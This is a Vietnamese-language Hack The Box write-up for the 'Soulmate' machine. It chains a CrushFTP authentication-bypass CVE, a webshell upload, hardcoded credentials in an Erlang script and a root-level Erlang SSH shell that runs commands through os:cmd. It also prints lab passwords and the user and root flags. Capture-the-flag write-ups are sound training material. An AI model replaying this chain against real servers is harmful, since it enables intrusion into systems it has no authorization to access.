---
# System prepended metadata

title: HTB-Soulmate

---

# HTB-Soulmate
![image](https://hackmd.io/_uploads/B1i5BnlEbe.png)
Vì cũng là cuối năm rồi nên tranh thủ viết, tao sẽ bỏ qua phần `Nmap` mà đi luôn vào khai thác.
Tìm kiếm các subdomain thì thấy một subdomain là `ftp`
![Pasted image 20251209090450](https://hackmd.io/_uploads/SySNL2e4Ze.png)
Tìm kiếm CVE exploit liên quan đến CrushFTP
![Pasted image 20251209090535](https://hackmd.io/_uploads/SkBr83xE-l.png)
Tìm code và chạy thôi, code cũng dễ hiểu nên chịu khó đọc tí chứ không phải cứ thế cầm về chạy.
![Pasted image 20251209090613](https://hackmd.io/_uploads/SJHIL3gEbe.png)
Thành công login được với tài khoản vừa tạo.
![Pasted image 20251209090645](https://hackmd.io/_uploads/ry0DLnxNZg.png)
Tìm chức năng `User Manager` và ta thấy có các tài khoản, ví dụ như `"ben"`
![Pasted image 20251209090751](https://hackmd.io/_uploads/S1RKU3xN-l.png)
Thực hiện đổi mật khẩu để dễ truy cập, sau đó đăng nhập lại với tư cách `"ben"`
![Pasted image 20251209091006](https://hackmd.io/_uploads/By1o82eEWx.png)
Đăng nhập thành công với tư cách `"ben"`. Tiếp tục ta thực hiện truy cập `webProd`
![Pasted image 20251209091105](https://hackmd.io/_uploads/rk82I3e4Wl.png)
Up `webshell` lên thôi
![Pasted image 20251209093808](https://hackmd.io/_uploads/rywpLne4-e.png)
![Pasted image 20251209093836](https://hackmd.io/_uploads/B11A8nx4Wl.png)
Kiểm tra và thấy mật khẩu của `"ben"`
![Pasted image 20251209093957](https://hackmd.io/_uploads/S1tkv2lEbl.png)
![Pasted image 20251209102519](https://hackmd.io/_uploads/rJSev3xEbe.png)
![Pasted image 20251209102912](https://hackmd.io/_uploads/SJ8ZPngEZx.png)
![Pasted image 20251209103036](https://hackmd.io/_uploads/S1abvnxEZe.png)
![Pasted image 20251209103923](https://hackmd.io/_uploads/rk-7P2lEWl.png)
![Pasted image 20251209104103](https://hackmd.io/_uploads/HkC7wnxVZl.png)
Sau một hồi vcl thì tao đã vào được shell cuối cùng
![Pasted image 20251209104141](https://hackmd.io/_uploads/r1ErP3lV-x.png)
Cuối cùng đã tìm thấy flag

# Tóm lại là như sau:
### HTB Soulmate – Full Chain Writeup (Initial → Root)

**1. Initial Foothold – CrushFTP RCE (CVE-2025-31161)**

- CrushFTP < 10.7.3 bị blind SSRF + arbitrary file read qua template velocity
- Dùng PoC hoặc Burp Collaborator confirm → đọc được file hệ thống
- Upload reverse shell PHP qua CrushFTP admin interface (port 8080 hoặc 9090) → Shell www-data (webshell rất lag)

**2. www-data → user ben**

- Enum thấy file: /usr/local/lib/erlang_login/start.escript

Bash

```
cat /usr/local/lib/erlang_login/start.escript
```

→ Phát hiện hardcoded credentials được hard-code:

erlang

```
{user_passwords, [{"ben", "HouseH0ldings998"}]},
```

- Từ shell www-data, SSH local vào user ben:

Bash

```
ssh ben@127.0.0.1
# password: HouseH0ldings998
# (hoặc ssh -o StrictHostKeyChecking=no ben@127.0.0.1 HouseH0ldings998)
```

→ Được shell ben@soulmate:~$ → Đọc user.txt: 67f72164299dc1a983d10d213613abd5

**3. ben → root (Erlang SSH Daemon RCE)**

- Enum port local:

Bash

```
ss -tuln | grep 2222
# → 127.0.0.1:2222 đang listen
```

- Phát hiện Erlang SSH daemon được start bởi script trên (vẫn dùng cùng password ben:HouseH0ldings998)
- Từ shell ben, SSH vào chính daemon này:

Bash

```
ssh ben@127.0.0.1 -p 2222
# password: HouseH0ldings998
```

→ Vào thẳng Erlang shell với quyền **root** (vì daemon chạy dưới root)

- Thực thi lệnh hệ thống qua module os đã được load sẵn:

erlang

```
os:cmd("whoami").
% → "root\n"

os:cmd("cat /root/root.txt").
% → "f90aefdd3ed874f874d30db3d4191578\n"
